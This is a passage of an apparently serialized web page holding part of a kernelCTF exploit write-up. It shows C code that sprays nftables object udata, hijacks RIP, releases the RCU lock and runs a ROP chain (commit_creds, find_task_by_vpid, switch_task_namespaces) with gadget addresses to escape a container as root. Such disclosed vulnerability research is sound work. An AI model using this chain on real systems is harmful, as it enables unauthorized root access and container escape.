\"spray-1\");\n[...]\n",[57393],{"type":24,"tag":154,"props":57394,"children":57395},{"__ignoreMap":7},[57396,57403,57411,57435,57482,57518,57525,57533,57565,57573,57581,57602,57610,57618,57682,57689,57697,57705,57712,57720,57754,57762,57769,57777,57784,57792,57825,57846],{"type":24,"tag":158,"props":57397,"children":57398},{"class":160,"line":161},[57399],{"type":24,"tag":158,"props":57400,"children":57401},{"style":188},[57402],{"type":29,"value":1136},{"type":24,"tag":158,"props":57404,"children":57405},{"class":160,"line":213},[57406],{"type":24,"tag":158,"props":57407,"children":57408},{"style":188},[57409],{"type":29,"value":57410}," // Fake ops\n",{"type":24,"tag":158,"props":57412,"children":57413},{"class":160,"line":238},[57414,57419,57423,57427,57431],{"type":24,"tag":158,"props":57415,"children":57416},{"style":188},[57417],{"type":29,"value":57418}," uint64_t *rop = calloc(29, ",{"type":24,"tag":158,"props":57420,"children":57421},{"style":171},[57422],{"type":29,"value":56600},{"type":24,"tag":158,"props":57424,"children":57425},{"style":188},[57426],{"type":29,"value":504},{"type":24,"tag":158,"props":57428,"children":57429},{"style":165},[57430],{"type":29,"value":56907},{"type":24,"tag":158,"props":57432,"children":57433},{"style":188},[57434],{"type":29,"value":3849},{"type":24,"tag":158,"props":57436,"children":57437},{"class":160,"line":259},[57438,57443,57447,57451,57455,57459,57464,57468,57473,57477],{"type":24,"tag":158,"props":57439,"children":57440},{"style":177},[57441],{"type":29,"value":57442}," rop",{"type":24,"tag":158,"props":57444,"children":57445},{"style":188},[57446],{"type":29,"value":2048},{"type":24,"tag":158,"props":57448,"children":57449},{"style":465},[57450],{"type":29,"value":5682},{"type":24,"tag":158,"props":57452,"children":57453},{"style":188},[57454],{"type":29,"value":2058},{"type":24,"tag":158,"props":57456,"children":57457},{"style":222},[57458],{"type":29,"value":1285},{"type":24,"tag":158,"props":57460,"children":57461},{"style":188},[57462],{"type":29,"value":57463}," kaslr_slide ",{"type":24,"tag":158,"props":57465,"children":57466},{"style":222},[57467],{"type":29,"value":728},{"type":24,"tag":158,"props":57469,"children":57470},{"style":465},[57471],{"type":29,"value":57472}," 0xffffffff81988647",{"type":24,"tag":158,"props":57474,"children":57475},{"style":188},[57476],{"type":29,"value":50345},{"type":24,"tag":158,"props":57478,"children":57479},{"style":2588},[57480],{"type":29,"value":57481}," // push rsi; jmp qword ptr [rsi + 0x39];\n",{"type":24,"tag":158,"props":57483,"children":57484},{"class":160,"line":280},[57485,57489,57493,57497,57501,57505,57509,57513],{"type":24,"tag":158,"props":57486,"children":57487},{"style":177},[57488],{"type":29,"value":57442},{"type":24,"tag":158,"props":57490,"children":57491},{"style":188},[57492],{"type":29,"value":2048},{"type":24,"tag":158,"props":57494,"children":57495},{"style":465},[57496],{"type":29,"value":4789},{"type":24,"tag":158,"props":57498,"children":57499},{"style":188},[57500],{"type":29,"value":2058},{"type":24,"tag":158,"props":57502,"children":57503},{"style":222},[57504],{"type":29,"value":1285},{"type":24,"tag":158,"props":57506,"children":57507},{"style":188},[57508],{"type":29,"value":57463},{"type":24,"tag":158,"props":57510,"children":57511},{"style":222},[57512],{"type":29,"value":728},{"type":24,"tag":158,"props":57514,"children":57515},{"style":188},[57516],{"type":29,"value":57517}," NFT_CT_EXPECT_OBJ_TYPE;\n",{"type":24,"tag":158,"props":57519,"children":57520},{"class":160,"line":301},[57521],{"type":24,"tag":158,"props":57522,"children":57523},{"style":188},[57524],{"type":29,"value":1136},{"type":24,"tag":158,"props":57526,"children":57527},{"class":160,"line":626},[57528],{"type":24,"tag":158,"props":57529,"children":57530},{"style":188},[57531],{"type":29,"value":57532}," // Send ROP in object udata\n",{"type":24,"tag":158,"props":57534,"children":57535},{"class":160,"line":668},[57536,57541,57545,57550,57555,57560],{"type":24,"tag":158,"props":57537,"children":57538},{"style":188},[57539],{"type":29,"value":57540}," del_obj(",{"type":24,"tag":158,"props":57542,"children":57543},{"style":171},[57544],{"type":29,"value":55562},{"type":24,"tag":158,"props":57546,"children":57547},{"style":188},[57548],{"type":29,"value":57549},", \"",{"type":24,"tag":158,"props":57551,"children":57552},{"style":171},[57553],{"type":29,"value":57554},"spray",{"type":24,"tag":158,"props":57556,"children":57557},{"style":188},[57558],{"type":29,"value":57559},"-0",{"type":24,"tag":158,"props":57561,"children":57562},{"style":1108},[57563],{"type":29,"value":57564},"\");\n",{"type":24,"tag":158,"props":57566,"children":57567},{"class":160,"line":676},[57568],{"type":24,"tag":158,"props":57569,"children":57570},{"style":1108},[57571],{"type":29,"value":57572}," wait_destroyer();\n",{"type":24,"tag":158,"props":57574,"children":57575},{"class":160,"line":684},[57576],{"type":24,"tag":158,"props":57577,"children":57578},{"style":1108},[57579],{"type":29,"value":57580}," obj_spray(nl, 1, 1, rop, 0xb8);\n",{"type":24,"tag":158,"props":57582,"children":57583},{"class":160,"line":700},[57584,57589,57593,57598],{"type":24,"tag":158,"props":57585,"children":57586},{"style":1108},[57587],{"type":29,"value":57588}," fake_obj = (uint64_t *)getudata(nl, \"",{"type":24,"tag":158,"props":57590,"children":57591},{"style":165},[57592],{"type":29,"value":57554},{"type":24,"tag":158,"props":57594,"children":57595},{"style":188},[57596],{"type":29,"value":57597},"-3",{"type":24,"tag":158,"props":57599,"children":57600},{"style":1108},[57601],{"type":29,"value":57564},{"type":24,"tag":158,"props":57603,"children":57604},{"class":160,"line":785},[57605],{"type":24,"tag":158,"props":57606,"children":57607},{"style":1108},[57608],{"type":29,"value":57609}," DumpHex(fake_obj, 0xe8);\n",{"type":24,"tag":158,"props":57611,"children":57612},{"class":160,"line":1447},[57613],{"type":24,"tag":158,"props":57614,"children":57615},{"style":1108},[57616],{"type":29,"value":57617}," uint64_t rop_addr = fake_obj[9]; // udata ptr\n",{"type":24,"tag":158,"props":57619,"children":57620},{"class":160,"line":1509},[57621,57626,57630,57634,57638,57643,57648,57653,57657,57662,57667,57672,57677],{"type":24,"tag":158,"props":57622,"children":57623},{"style":1108},[57624],{"type":29,"value":57625}," printf(\"",{"type":24,"tag":158,"props":57627,"children":57628},{"style":188},[57629],{"type":29,"value":2048},{"type":24,"tag":158,"props":57631,"children":57632},{"style":222},[57633],{"type":29,"value":577},{"type":24,"tag":158,"props":57635,"children":57636},{"style":188},[57637],{"type":29,"value":2058},{"type":24,"tag":158,"props":57639,"children":57640},{"style":171},[57641],{"type":29,"value":57642},"ROP",{"type":24,"tag":158,"props":57644,"children":57645},{"style":171},[57646],{"type":29,"value":57647}," addr",{"type":24,"tag":158,"props":57649,"children":57650},{"style":188},[57651],{"type":29,"value":57652},": 0",{"type":24,"tag":158,"props":57654,"children":57655},{"style":171},[57656],{"type":29,"value":20518},{"type":24,"tag":158,"props":57658,"children":57659},{"style":188},[57660],{"type":29,"value":57661},"%",{"type":24,"tag":158,"props":57663,"children":57664},{"style":171},[57665],{"type":29,"value":57666},"lx",{"type":24,"tag":158,"props":57668,"children":57669},{"style":188},[57670],{"type":29,"value":57671},"\\",{"type":24,"tag":158,"props":57673,"children":57674},{"style":171},[57675],{"type":29,"value":57676},"n",{"type":24,"tag":158,"props":57678,"children":57679},{"style":1108},[57680],{"type":29,"value":57681},"\", rop_addr);\n",{"type":24,"tag":158,"props":57683,"children":57684},{"class":160,"line":1527},[57685],{"type":24,"tag":158,"props":57686,"children":57687},{"emptyLinePlaceholder":16},[57688],{"type":29,"value":481},{"type":24,"tag":158,"props":57690,"children":57691},{"class":160,"line":1545},[57692],{"type":24,"tag":158,"props":57693,"children":57694},{"style":1108},[57695],{"type":29,"value":57696}," // Point to fake ops\n",{"type":24,"tag":158,"props":57698,"children":57699},{"class":160,"line":1618},[57700],{"type":24,"tag":158,"props":57701,"children":57702},{"style":1108},[57703],{"type":29,"value":57704}," fake_obj[16] = rop_addr - 0x20; // Point ops to fake ptr table\n",{"type":24,"tag":158,"props":57706,"children":57707},{"class":160,"line":1635},[57708],{"type":24,"tag":158,"props":57709,"children":57710},{"style":1108},[57711],{"type":29,"value":1136},{"type":24,"tag":158,"props":57713,"children":57714},{"class":160,"line":1644},[57715],{"type":24,"tag":158,"props":57716,"children":57717},{"style":1108},[57718],{"type":29,"value":57719}," // Write ROP\n",{"type":24,"tag":158,"props":57721,"children":57722},{"class":160,"line":1652},[57723,57728,57732,57736,57740,57745,57750],{"type":24,"tag":158,"props":57724,"children":57725},{"style":1108},[57726],{"type":29,"value":57727}," puts(\"",{"type":24,"tag":158,"props":57729,"children":57730},{"style":188},[57731],{"type":29,"value":2048},{"type":24,"tag":158,"props":57733,"children":57734},{"style":222},[57735],{"type":29,"value":577},{"type":24,"tag":158,"props":57737,"children":57738},{"style":188},[57739],{"type":29,"value":2058},{"type":24,"tag":158,"props":57741,"children":57742},{"style":171},[57743],{"type":29,"value":57744},"Write",{"type":24,"tag":158,"props":57746,"children":57747},{"style":171},[57748],{"type":29,"value":57749}," ROP",{"type":24,"tag":158,"props":57751,"children":57752},{"style":1108},[57753],{"type":29,"value":57564},{"type":24,"tag":158,"props":57755,"children":57756},{"class":160,"line":1704},[57757],{"type":24,"tag":158,"props":57758,"children":57759},{"style":1108},[57760],{"type":29,"value":57761}," deludata_spray(nl, 3, 1);\n",{"type":24,"tag":158,"props":57763,"children":57764},{"class":160,"line":1713},[57765],{"type":24,"tag":158,"props":57766,"children":57767},{"style":1108},[57768],{"type":29,"value":57572},{"type":24,"tag":158,"props":57770,"children":57771},{"class":160,"line":1731},[57772],{"type":24,"tag":158,"props":57773,"children":57774},{"style":1108},[57775],{"type":29,"value":57776}," udata_spray(nl, 0xe8, 4, 1, fake_obj);\n",{"type":24,"tag":158,"props":57778,"children":57779},{"class":160,"line":5485},[57780],{"type":24,"tag":158,"props":57781,"children":57782},{"emptyLinePlaceholder":16},[57783],{"type":29,"value":481},{"type":24,"tag":158,"props":57785,"children":57786},{"class":160,"line":5493},[57787],{"type":24,"tag":158,"props":57788,"children":57789},{"style":1108},[57790],{"type":29,"value":57791}," // Takeover RIP\n",{"type":24,"tag":158,"props":57793,"children":57794},{"class":160,"line":5553},[57795,57799,57803,57807,57811,57816,57821],{"type":24,"tag":158,"props":57796,"children":57797},{"style":1108},[57798],{"type":29,"value":57727},{"type":24,"tag":158,"props":57800,"children":57801},{"style":188},[57802],{"type":29,"value":2048},{"type":24,"tag":158,"props":57804,"children":57805},{"style":222},[57806],{"type":29,"value":577},{"type":24,"tag":158,"props":57808,"children":57809},{"style":188},[57810],{"type":29,"value":2058},{"type":24,"tag":158,"props":57812,"children":57813},{"style":171},[57814],{"type":29,"value":57815},"Takeover",{"type":24,"tag":158,"props":57817,"children":57818},{"style":171},[57819],{"type":29,"value":57820}," RIP",{"type":24,"tag":158,"props":57822,"children":57823},{"style":1108},[57824],{"type":29,"value":57564},{"type":24,"tag":158,"props":57826,"children":57827},{"class":160,"line":10636},[57828,57833,57837,57842],{"type":24,"tag":158,"props":57829,"children":57830},{"style":1108},[57831],{"type":29,"value":57832}," dump_obj(nl, \"",{"type":24,"tag":158,"props":57834,"children":57835},{"style":165},[57836],{"type":29,"value":57554},{"type":24,"tag":158,"props":57838,"children":57839},{"style":188},[57840],{"type":29,"value":57841},"-1",{"type":24,"tag":158,"props":57843,"children":57844},{"style":1108},[57845],{"type":29,"value":57564},{"type":24,"tag":158,"props":57847,"children":57848},{"class":160,"line":10652},[57849],{"type":24,"tag":158,"props":57850,"children":57851},{"style":1108},[57852],{"type":29,"value":1136},{"type":24,"tag":395,"props":57854,"children":57856},{"id":57855},"bypass-context-switch-in-rcu-critical-section",[57857],{"type":29,"value":57858},"Bypass context switch in RCU critical-section",{"type":24,"tag":25,"props":57860,"children":57861},{},[57862,57863,57868],{"type":29,"value":17850},{"type":24,"tag":154,"props":57864,"children":57866},{"className":57865},[],[57867],{"type":29,"value":56386},{"type":29,"value":57869}," operations are invoked from an RCU critical-section, which can be a problem for ROPing since we want to switch contexts to userland after executing our payload, which is illegal in RCU critical-sections.",{"type":24,"tag":25,"props":57871,"children":57872},{},[57873,57875,57882,57884,57890,57892,57898],{"type":29,"value":57874},"A workaround has been discussed before by D3v17 in a ",{"type":24,"tag":101,"props":57876,"children":57879},{"href":57877,"rel":57878},"https://github.com/google/security-research/blob/master/pocs/linux/kernelctf/CVE-2023-0461_mitigation/docs/exploit.md#post-rip",[105],[57880],{"type":29,"value":57881},"previous kernelCTF submission",{"type":29,"value":57883}," that basically consists in using memory write gadgets to overwrite the RCU lock in our ",{"type":24,"tag":154,"props":57885,"children":57887},{"className":57886},[],[57888],{"type":29,"value":57889},"task_struct",{"type":29,"value":57891}," before switching to userland. Although this works, I struggled to find useful gadgets but ended up coming up with an easier solution. There are kernel APIs specifically meant for acquiring/releasing the RCU lock, so we should be able to simply call ",{"type":24,"tag":154,"props":57893,"children":57895},{"className":57894},[],[57896],{"type":29,"value":57897},"__rcu_read_unlock()",{"type":29,"value":57899}," function and exit the RCU critical-section before switching contexts.",{"type":24,"tag":147,"props":57901,"children":57903},{"className":30369,"code":57902,"language":30371,"meta":7,"style":7}," // ROP stage 1\n int pos = 3;\n\n rop[pos++] = kaslr_slide + __RCU_READ_UNLOCK;\n",[57904],{"type":24,"tag":154,"props":57905,"children":57906},{"__ignoreMap":7},[57907,57915,57939,57946],{"type":24,"tag":158,"props":57908,"children":57909},{"class":160,"line":161},[57910],{"type":24,"tag":158,"props":57911,"children":57912},{"style":2588},[57913],{"type":29,"value":57914}," // ROP stage 1\n",{"type":24,"tag":158,"props":57916,"children":57917},{"class":160,"line":213},[57918,57922,57927,57931,57935],{"type":24,"tag":158,"props":57919,"children":57920},{"style":165},[57921],{"type":29,"value":20319},{"type":24,"tag":158,"props":57923,"children":57924},{"style":188},[57925],{"type":29,"value":57926}," pos ",{"type":24,"tag":158,"props":57928,"children":57929},{"style":222},[57930],{"type":29,"value":1285},{"type":24,"tag":158,"props":57932,"children":57933},{"style":465},[57934],{"type":29,"value":20341},{"type":24,"tag":158,"props":57936,"children":57937},{"style":188},[57938],{"type":29,"value":473},{"type":24,"tag":158,"props":57940,"children":57941},{"class":160,"line":238},[57942],{"type":24,"tag":158,"props":57943,"children":57944},{"emptyLinePlaceholder":16},[57945],{"type":29,"value":481},{"type":24,"tag":158,"props":57947,"children":57948},{"class":160,"line":259},[57949,57953,57958,57962,57966,57970,57974,57978],{"type":24,"tag":158,"props":57950,"children":57951},{"style":177},[57952],{"type":29,"value":57442},{"type":24,"tag":158,"props":57954,"children":57955},{"style":188},[57956],{"type":29,"value":57957},"[pos",{"type":24,"tag":158,"props":57959,"children":57960},{"style":222},[57961],{"type":29,"value":52541},{"type":24,"tag":158,"props":57963,"children":57964},{"style":188},[57965],{"type":29,"value":2058},{"type":24,"tag":158,"props":57967,"children":57968},{"style":222},[57969],{"type":29,"value":1285},{"type":24,"tag":158,"props":57971,"children":57972},{"style":188},[57973],{"type":29,"value":57463},{"type":24,"tag":158,"props":57975,"children":57976},{"style":222},[57977],{"type":29,"value":728},{"type":24,"tag":158,"props":57979,"children":57980},{"style":188},[57981],{"type":29,"value":57982}," __RCU_READ_UNLOCK;\n",{"type":24,"tag":395,"props":57984,"children":57986},{"id":57985},"rop",[57987],{"type":29,"value":57642},{"type":24,"tag":25,"props":57989,"children":57990},{},[57991],{"type":29,"value":57992},"Most of the ROP chain to escape the container as root is business as usual:",{"type":24,"tag":17924,"props":57994,"children":57995},{},[57996,58007,58018],{"type":24,"tag":1790,"props":57997,"children":57998},{},[57999,58005],{"type":24,"tag":154,"props":58000,"children":58002},{"className":58001},[],[58003],{"type":29,"value":58004},"commit_creds(&init_cred);",{"type":29,"value":58006}," Commit root credentials to our process",{"type":24,"tag":1790,"props":58008,"children":58009},{},[58010,58016],{"type":24,"tag":154,"props":58011,"children":58013},{"className":58012},[],[58014],{"type":29,"value":58015},"task = find_task_by_vpid(1);",{"type":29,"value":58017}," Find the root process of our namespace",{"type":24,"tag":1790,"props":58019,"children":58020},{},[58021,58027],{"type":24,"tag":154,"props":58022,"children":58024},{"className":58023},[],[58025],{"type":29,"value":58026},"switch_task_namespaces(task, &init_nsproxy);",{"type":29,"value":58028}," Move it to the root namespace",{"type":24,"tag":25,"props":58030,"children":58031},{},[58032,58034,58040,58042,58048,58050,58056,58058,58064,58066,58071,58073,58079],{"type":29,"value":58033},"However, I had a hard time finding gadgets to easily move the return value of ",{"type":24,"tag":154,"props":58035,"children":58037},{"className":58036},[],[58038],{"type":29,"value":58039},"find_task_by_vpid(1)",{"type":29,"value":58041}," passed through ",{"type":24,"tag":154,"props":58043,"children":58045},{"className":58044},[],[58046],{"type":29,"value":58047},"rax",{"type":29,"value":58049}," to ",{"type":24,"tag":154,"props":58051,"children":58053},{"className":58052},[],[58054],{"type":29,"value":58055},"rdi",{"type":29,"value":58057},". What I ended up going with was a ",{"type":24,"tag":154,"props":58059,"children":58061},{"className":58060},[],[58062],{"type":29,"value":58063},"push rax; jmp qword ptr [rsi + 0x66]; ret",{"type":29,"value":58065}," gadget, that allowed me to push the ",{"type":24,"tag":154,"props":58067,"children":58069},{"className":58068},[],[58070],{"type":29,"value":58047},{"type":29,"value":58072}," value onto the stack and then jump to a controlled location, where I stored a ",{"type":24,"tag":154,"props":58074,"children":58076},{"className":58075},[],[58077],{"type":29,"value":58078},"pop rdi; ret",{"type":29,"value":58080}," gadget to consume the new stack value and restore normal ROP execution. This very minor detour in the ROP flow looks like this:",{"type":24,"tag":17924,"props":58082,"children":58083},{},[58084,58089,58102],{"type":24,"tag":1790,"props":58085,"children":58086},{},[58087],{"type":29,"value":58088},"We push the value onto the stack (stack pointer regresses)",{"type":24,"tag":1790,"props":58090,"children":58091},{},[58092,58094,58100],{"type":29,"value":58093},"We jump to our \"trampoline\" gadget (",{"type":24,"tag":154,"props":58095,"children":58097},{"className":58096},[],[58098],{"type":29,"value":58099},"pop rdi; ret;",{"type":29,"value":58101}," location)",{"type":24,"tag":1790,"props":58103,"children":58104},{},[58105,58110],{"type":24,"tag":154,"props":58106,"children":58108},{"className":58107},[],[58109],{"type":29,"value":58078},{"type":29,"value":58111}," consumes the value from the stack (progressing the stack pointer back to where it should be), and then we bounce back to the next gadget",{"type":24,"tag":147,"props":58113,"children":58115},{"className":30369,"code":58114,"language":30371,"meta":7,"style":7},"[...]\n // commit_creds(&init_cred);\n rop[pos++] = kaslr_slide + 0xffffffff8112c7c0; // pop rdi; ret;\n rop[pos++] = kaslr_slide + INIT_CRED;\n rop[pos++] = kaslr_slide + COMMIT_CREDS;\n\n // task = find_task_by_vpid(1);\n rop[pos++] = kaslr_slide + 0xffffffff8112c7c0; // pop rdi; ret;\n rop[pos++] = 1;\n rop[pos++] = kaslr_slide + FIND_TASK_BY_VPID;\n rop[pos++] = kaslr_slide + 0xffffffff8102e2a6; // pop rsi; ret;\n rop[pos++] = obj_ptr + 0xe0 - 0x66; // rax -> rdi and resume rop\n rop[pos++] = kaslr_slide + 0xffffffff81caed31; // push rax; jmp qword ptr [rsi + 0x66];\n\n // switch_task_namespaces(task, &init_nsproxy);\n rop[pos++] = kaslr_slide + 0xffffffff8102e2a6; // pop rsi; ret;\n rop[pos++] = kaslr_slide + INIT_NSPROXY;\n rop[pos++] = kaslr_slide + SWITCH_TASK_NAMESPACES;\n[...]\n",[58116],{"type":24,"tag":154,"props":58117,"children":58118},{"__ignoreMap":7},[58119,58126,58143,58188,58224,58260,58267,58275,58318,58349,58385,58430,58485,58530,58537,58545,58588,58624,58660],{"type":24,"tag":158,"props":58120,"children":58121},{"class":160,"line":161},[58122],{"type":24,"tag":158,"props":58123,"children":58124},{"style":188},[58125],{"type":29,"value":1136},{"type":24,"tag":158,"props":58127,"children":58128},{"class":160,"line":213},[58129,58134,58139],{"type":24,"tag":158,"props":58130,"children":58131},{"style":188},[58132],{"type":29,"value":58133}," // commit_creds(&",{"type":24,"tag":158,"props":58135,"children":58136},{"style":177},[58137],{"type":29,"value":58138},"init_cred",{"type":24,"tag":158,"props":58140,"children":58141},{"style":188},[58142],{"type":29,"value":1071},{"type":24,"tag":158,"props":58144,"children":58145},{"class":160,"line":238},[58146,58150,58154,58158,58162,58166,58170,58174,58179,58183],{"type":24,"tag":158,"props":58147,"children":58148},{"style":177},[58149],{"type":29,"value":57442},{"type":24,"tag":158,"props":58151,"children":58152},{"style":188},[58153],{"type":29,"value":57957},{"type":24,"tag":158,"props":58155,"children":58156},{"style":222},[58157],{"type":29,"value":52541},{"type":24,"tag":158,"props":58159,"children":58160},{"style":188},[58161],{"type":29,"value":2058},{"type":24,"tag":158,"props":58163,"children":58164},{"style":222},[58165],{"type":29,"value":1285},{"type":24,"tag":158,"props":58167,"children":58168},{"style":188},[58169],{"type":29,"value":57463},{"type":24,"tag":158,"props":58171,"children":58172},{"style":222},[58173],{"type":29,"value":728},{"type":24,"tag":158,"props":58175,"children":58176},{"style":465},[58177],{"type":29,"value":58178}," 0xffffffff8112c7c0",{"type":24,"tag":158,"props":58180,"children":58181},{"style":188},[58182],{"type":29,"value":50345},{"type":24,"tag":158,"props":58184,"children":58185},{"style":2588},[58186],{"type":29,"value":58187}," // pop rdi; ret;\n",{"type":24,"tag":158,"props":58189,"children":58190},{"class":160,"line":259},[58191,58195,58199,58203,58207,58211,58215,58219],{"type":24,"tag":158,"props":58192,"children":58193},{"style":177},[58194],{"type":29,"value":57442},{"type":24,"tag":158,"props":58196,"children":58197},{"style":188},[58198],{"type":29,"value":57957},{"type":24,"tag":158,"props":58200,"children":58201},{"style":222},[58202],{"type":29,"value":52541},{"type":24,"tag":158,"props":58204,"children":58205},{"style":188},[58206],{"type":29,"value":2058},{"type":24,"tag":158,"props":58208,"children":58209},{"style":222},[58210],{"type":29,"value":1285},{"type":24,"tag":158,"props":58212,"children":58213},{"style":188},[58214],{"type":29,"value":57463},{"type":24,"tag":158,"props":58216,"children":58217},{"style":222},[58218],{"type":29,"value":728},{"type":24,"tag":158,"props":58220,"children":58221},{"style":188},[58222],{"type":29,"value":58223}," INIT_CRED;\n",{"type":24,"tag":158,"props":58225,"children":58226},{"class":160,"line":280},[58227,58231,58235,58239,58243,58247,58251,58255],{"type":24,"tag":158,"props":58228,"children":58229},{"style":177},[58230],{"type":29,"value":57442},{"type":24,"tag":158,"props":58232,"children":58233},{"style":188},[58234],{"type":29,"value":57957},{"type":24,"tag":158,"props":58236,"children":58237},{"style":222},[58238],{"type":29,"value":52541},{"type":24,"tag":158,"props":58240,"children":58241},{"style":188},[58242],{"type":29,"value":2058},{"type":24,"tag":158,"props":58244,"children":58245},{"style":222},[58246],{"type":29,"value":1285},{"type":24,"tag":158,"props":58248,"children":58249},{"style":188},[58250],{"type":29,"value":57463},{"type":24,"tag":158,"props":58252,"children":58253},{"style":222},[58254],{"type":29,"value":728},{"type":24,"tag":158,"props":58256,"children":58257},{"style":188},[58258],{"type":29,"value":58259}," COMMIT_CREDS;\n",{"type":24,"tag":158,"props":58261,"children":58262},{"class":160,"line":301},[58263],{"type":24,"tag":158,"props":58264,"children":58265},{"emptyLinePlaceholder":16},[58266],{"type":29,"value":481},{"type":24,"tag":158,"props":58268,"children":58269},{"class":160,"line":626},[58270],{"type":24,"tag":158,"props":58271,"children":58272},{"style":2588},[58273],{"type":29,"value":58274}," // task = find_task_by_vpid(1);\n",{"type":24,"tag":158,"props":58276,"children":58277},{"class":160,"line":668},[58278,58282,58286,58290,58294,58298,58302,58306,58310,58314],{"type":24,"tag":158,"props":58279,"children":58280},{"style":177},[58281],{"type":29,"value":57442},{"type":24,"tag":158,"props":58283,"children":58284},{"style":188},[58285],{"type":29,"value":57957},{"type":24,"tag":158,"props":58287,"children":58288},{"style":222},[58289],{"type":29,"value":52541},{"type":24,"tag":158,"props":58291,"children":58292},{"style":188},[58293],{"type":29,"value":2058},{"type":24,"tag":158,"props":58295,"children":58296},{"style":222},[58297],{"type":29,"value":1285},{"type":24,"tag":158,"props":58299,"children":58300},{"style":188},[58301],{"type":29,"value":57463},{"type":24,"tag":158,"props":58303,"children":58304},{"style":222},[58305],{"type":29,"value":728},{"type":24,"tag":158,"props":58307,"children":58308},{"style":465},[58309],{"type":29,"value":58178},{"type":24,"tag":158,"props":58311,"children":58312},{"style":188},[58313],{"type":29,"value":50345},{"type":24,"tag":158,"props":58315,"children":58316},{"style":2588},[58317],{"type":29,"value":58187},{"type":24,"tag":158,"props":58319,"children":58320},{"class":160,"line":676},[58321,58325,58329,58333,58337,58341,58345],{"type":24,"tag":158,"props":58322,"children":58323},{"style":177},[58324],{"type":29,"value":57442},{"type":24,"tag":158,"props":58326,"children":58327},{"style":188},[58328],{"type":29,"value":57957},{"type":24,"tag":158,"props":58330,"children":58331},{"style":222},[58332],{"type":29,"value":52541},{"type":24,"tag":158,"props":58334,"children":58335},{"style":188},[58336],{"type":29,"value":2058},{"type":24,"tag":158,"props":58338,"children":58339},{"style":222},[58340],{"type":29,"value":1285},{"type":24,"tag":158,"props":58342,"children":58343},{"style":465},[58344],{"type":29,"value":1668},{"type":24,"tag":158,"props":58346,"children":58347},{"style":188},[58348],{"type":29,"value":473},{"type":24,"tag":158,"props":58350,"children":58351},{"class":160,"line":684},[58352,58356,58360,58364,58368,58372,58376,58380],{"type":24,"tag":158,"props":58353,"children":58354},{"style":177},[58355],{"type":29,"value":57442},{"type":24,"tag":158,"props":58357,"children":58358},{"style":188},[58359],{"type":29,"value":57957},{"type":24,"tag":158,"props":58361,"children":58362},{"style":222},[58363],{"type":29,"value":52541},{"type":24,"tag":158,"props":58365,"children":58366},{"style":188},[58367],{"type":29,"value":2058},{"type":24,"tag":158,"props":58369,"children":58370},{"style":222},[58371],{"type":29,"value":1285},{"type":24,"tag":158,"props":58373,"children":58374},{"style":188},[58375],{"type":29,"value":57463},{"type":24,"tag":158,"props":58377,"children":58378},{"style":222},[58379],{"type":29,"value":728},{"type":24,"tag":158,"props":58381,"children":58382},{"style":188},[58383],{"type":29,"value":58384}," FIND_TASK_BY_VPID;\n",{"type":24,"tag":158,"props":58386,"children":58387},{"class":160,"line":700},[58388,58392,58396,58400,58404,58408,58412,58416,58421,58425],{"type":24,"tag":158,"props":58389,"children":58390},{"style":177},[58391],{"type":29,"value":57442},{"type":24,"tag":158,"props":58393,"children":58394},{"style":188},[58395],{"type":29,"value":57957},{"type":24,"tag":158,"props":58397,"children":58398},{"style":222},[58399],{"type":29,"value":52541},{"type":24,"tag":158,"props":58401,"children":58402},{"style":188},[58403],{"type":29,"value":2058},{"type":24,"tag":158,"props":58405,"children":58406},{"style":222},[58407],{"type":29,"value":1285},{"type":24,"tag":158,"props":58409,"children":58410},{"style":188},[58411],{"type":29,"value":57463},{"type":24,"tag":158,"props":58413,"children":58414},{"style":222},[58415],{"type":29,"value":728},{"type":24,"tag":158,"props":58417,"children":58418},{"style":465},[58419],{"type":29,"value":58420}," 0xffffffff8102e2a6",{"type":24,"tag":158,"props":58422,"children":58423},{"style":188},[58424],{"type":29,"value":50345},{"type":24,"tag":158,"props":58426,"children":58427},{"style":2588},[58428],{"type":29,"value":58429}," // pop rsi; ret;\n",{"type":24,"tag":158,"props":58431,"children":58432},{"class":160,"line":785},[58433,58437,58441,58445,58449,58453,58458,58462,58467,58471,58476,58480],{"type":24,"tag":158,"props":58434,"children":58435},{"style":177},[58436],{"type":29,"value":57442},{"type":24,"tag":158,"props":58438,"children":58439},{"style":188},[58440],{"type":29,"value":57957},{"type":24,"tag":158,"props":58442,"children":58443},{"style":222},[58444],{"type":29,"value":52541},{"type":24,"tag":158,"props":58446,"children":58447},{"style":188},[58448],{"type":29,"value":2058},{"type":24,"tag":158,"props":58450,"children":58451},{"style":222},[58452],{"type":29,"value":1285},{"type":24,"tag":158,"props":58454,"children":58455},{"style":188},[58456],{"type":29,"value":58457}," obj_ptr ",{"type":24,"tag":158,"props":58459,"children":58460},{"style":222},[58461],{"type":29,"value":728},{"type":24,"tag":158,"props":58463,"children":58464},{"style":465},[58465],{"type":29,"value":58466}," 0xe0",{"type":24,"tag":158,"props":58468,"children":58469},{"style":222},[58470],{"type":29,"value":52527},{"type":24,"tag":158,"props":58472,"children":58473},{"style":465},[58474],{"type":29,"value":58475}," 0x66",{"type":24,"tag":158,"props":58477,"children":58478},{"style":188},[58479],{"type":29,"value":50345},{"type":24,"tag":158,"props":58481,"children":58482},{"style":2588},[58483],{"type":29,"value":58484}," // rax -> rdi and resume rop\n",{"type":24,"tag":158,"props":58486,"children":58487},{"class":160,"line":1447},[58488,58492,58496,58500,58504,58508,58512,58516,58521,58525],{"type":24,"tag":158,"props":58489,"children":58490},{"style":177},[58491],{"type":29,"value":57442},{"type":24,"tag":158,"props":58493,"children":58494},{"style":188},[58495],{"type":29,"value":57957},{"type":24,"tag":158,"props":58497,"children":58498},{"style":222},[58499],{"type":29,"value":52541},{"type":24,"tag":158,"props":58501,"children":58502},{"style":188},[58503],{"type":29,"value":2058},{"type":24,"tag":158,"props":58505,"children":58506},{"style":222},[58507],{"type":29,"value":1285},{"type":24,"tag":158,"props":58509,"children":58510},{"style":188},[58511],{"type":29,"value":57463},{"type":24,"tag":158,"props":58513,"children":58514},{"style":222},[58515],{"type":29,"value":728},{"type":24,"tag":158,"props":58517,"children":58518},{"style":465},[58519],{"type":29,"value":58520}," 0xffffffff81caed31",{"type":24,"tag":158,"props":58522,"children":58523},{"style":188},[58524],{"type":29,"value":50345},{"type":24,"tag":158,"props":58526,"children":58527},{"style":2588},[58528],{"type":29,"value":58529}," // push rax; jmp qword ptr [rsi + 